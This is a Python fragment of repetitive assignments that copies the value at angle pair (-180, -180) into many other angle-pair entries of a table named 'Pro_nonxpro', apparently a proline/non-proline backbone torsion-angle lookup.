Pro_nonxpro[(-90, -170)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-90, -160)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-90, -150)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-90, -140)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-90, -130)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-90, -120)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-90, -110)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-90, -100)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-90, -90)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-90, -80)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-90, -70)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-90, -60)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-90, -50)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-90, -40)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-90, -30)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-90, -20)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-90, 20)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-90, 30)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-90, 40)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-90, 90)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-90, 100)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-90, 110)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-90, 120)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-90, 130)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-80, -170)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-80, -160)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-80, -150)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-80, -140)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-80, -130)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-80, -120)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-80, -110)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-80, -100)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-80, -90)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-80, -80)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-80, -70)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-80, -60)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-80, -50)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-80, -40)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-80, -30)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-80, 20)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-80, 30)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-80, 40)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-80, 90)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-80, 100)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-70, -180)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-70, -170)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-70, -160)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-70, -150)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-70, -140)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-70, -130)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-70, -120)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-70, -110)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-70, -100)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-70, -90)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-70, -80)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-70, -70)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-70, -60)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-70, -50)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-70, 10)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-70, 20)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-70, 30)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-70, 40)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-70, 50)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-70, 60)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-70, 70)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-70, 80)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-70, 90)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-70, 100)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-70, 110)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-60, -180)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-60, -170)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-60, -160)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-60, -150)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-60, -140)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-60, -130)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-60, -120)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-60, -110)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-60, -100)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-60, -90)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-60, -80)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-60, -70)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-60, -60)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-60, 0)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-60, 10)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-60, 20)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-60, 30)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-60, 40)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-60, 50)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-60, 60)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-60, 70)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-60, 80)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-60, 90)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-60, 100)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-60, 110)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-50, -180)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-50, -170)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-50, -160)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-50, -150)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-50, -140)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-50, -130)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-50, -120)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-50, -110)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-50, -100)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-50, -90)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-50, -80)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-50, -70)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-50, -60)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-50, -20)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-50, -10)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-50, 0)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-50, 10)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-50, 20)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-50, 30)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-50, 40)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-50, 50)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-50, 60)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-50, 70)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-50, 80)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-50, 90)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-50, 100)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-50, 110)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-50, 120)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-50, 160)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-50, 170)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-40, -180)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-40, -170)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-40, -160)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-40, -150)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-40, -140)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-40, -130)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-40, -120)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-40, -110)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-40, -100)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-40, -90)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-40, -80)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-40, -70)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-40, -60)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-40, -50)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-40, -40)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-40, -30)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-40, -20)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-40, -10)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-40, 0)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-40, 10)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-40, 20)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-40, 30)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-40, 40)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-40, 50)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-40, 60)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-40, 70)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-40, 80)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-40, 90)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-40, 100)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-40, 110)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-40, 120)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-40, 130)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-40, 140)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-40, 150)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-40, 160)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-40, 170)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-30, -180)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-30, -170)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-30, -160)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-30, -150)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-30, -140)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-30, -130)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-30, -120)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-30, -110)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-30, -100)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-30, -90)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-30, -80)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-30, -70)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-30, -60)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-30, -50)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-30, -40)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-30, -30)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-30, -20)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-30, -10)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-30, 0)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-30, 10)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-30, 20)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-30, 30)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-30, 40)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-30, 50)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-30, 60)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-30, 70)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-30, 80)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-30, 90)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-30, 100)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-30, 110)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-30, 120)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-30, 130)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-30, 140)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-30, 150)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-30, 160)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-30, 170)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-20, -180)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-20, -170)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-20, -160)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-20, -150)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-20, -140)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-20, -130)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-20, -120)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-20, -110)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-20, -100)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-20, -90)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-20, -80)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-20, -70)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-20, -60)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-20, -50)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-20, -40)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-20, -30)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-20, -20)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-20, -10)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-20, 0)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-20, 10)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-20, 20)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-20, 30)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-20, 40)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-20, 50)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-20, 60)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-20, 70)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-20, 80)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-20, 90)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-20, 100)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-20, 110)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-20, 120)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-20, 130)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-20, 140)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-20, 150)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-20, 160)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-20, 170)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-10, -180)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-10, -170)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-10, -160)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-10, -150)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-10, -140)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-10, -130)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-10, -120)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-10, -110)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-10, -100)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-10, -90)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-10, -80)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-10, -70)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-10, -60)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-10, -50)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-10, -40)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-10, -30)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-10, -20)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-10, -10)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-10, 0)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-10, 10)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-10, 20)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-10, 30)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-10, 40)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-10, 50)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-10, 60)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-10, 70)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-10, 80)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-10, 90)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-10, 100)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-10, 110)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-10, 120)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-10, 130)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-10, 140)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-10, 150)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-10, 160)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-10, 170)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(0, -180)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(0, -170)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(0, -160)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(0, -150)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(0, -140)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(0, -130)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(0, -120)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(0, -110)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(0, -100)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(0, -90)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(0, -80)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(0, -70)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(0, -60)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(0, -50)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(0, -40)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(0, -30)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(0, -20)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(0, -10)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(0, 0)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(0, 10)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(0, 20)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(0, 30)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(0, 40)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(0, 50)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(0, 60)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(0, 70)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(0, 80)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(0, 90)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(0, 100)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(0, 110)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(0, 120)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(0, 130)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(0, 140)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(0, 150)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(0, 160)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(0, 170)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(10, -180)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(10, -170)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(10, -160)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(10, -150)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(10, -140)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(10, -130)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(10, -120)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(10, -110)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(10, -100)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(10, -90)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(10, -80)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(10, -70)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(10, -60)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(10, -50)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(10, -40)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(10, -30)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(10, -20)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(10, -10)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(10, 0)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(10, 10)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(10, 20)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(10, 30)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(10, 40)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(10, 50)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(10, 60)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(10, 70)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(10, 80)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(10, 90)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(10, 100)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(10, 110)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(10, 120)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(10, 130)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(10, 140)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(10, 150)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(10, 160)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(10, 170)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(20, -180)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(20, -170)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(20, -160)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(20, -150)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(20, -140)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(20, -130)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(20, -120)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(20, -110)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(20, -100)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(20, -90)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(20, -80)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(20, -70)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(20, -60)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(20, -50)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(20, -40)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(20, -30)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(20, -20)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(20, -10)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(20, 0)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(20, 10)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(20, 20)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(20, 30)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(20, 40)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(20, 50)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(20, 60)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(20, 70)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(20, 80)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(20, 90)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(20, 100)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(20, 110)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(20, 120)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(20, 130)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(20, 140)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(20, 150)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(20, 160)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(20, 170)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(30, -180)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(30, -170)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(30, -160)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(30, -150)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(30, -140)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(30, -130)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(30, -120)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(30, -110)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(30, -100)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(30, -90)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(30, -80)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(30, -70)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(30, -60)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(30, -50)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(30, -40)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(30, -30)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(30, -20)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(30, -10)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(30, 0)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(30, 10)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(30, 20)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(30, 30)]=Pro_nonxpro[(-180, -180)]
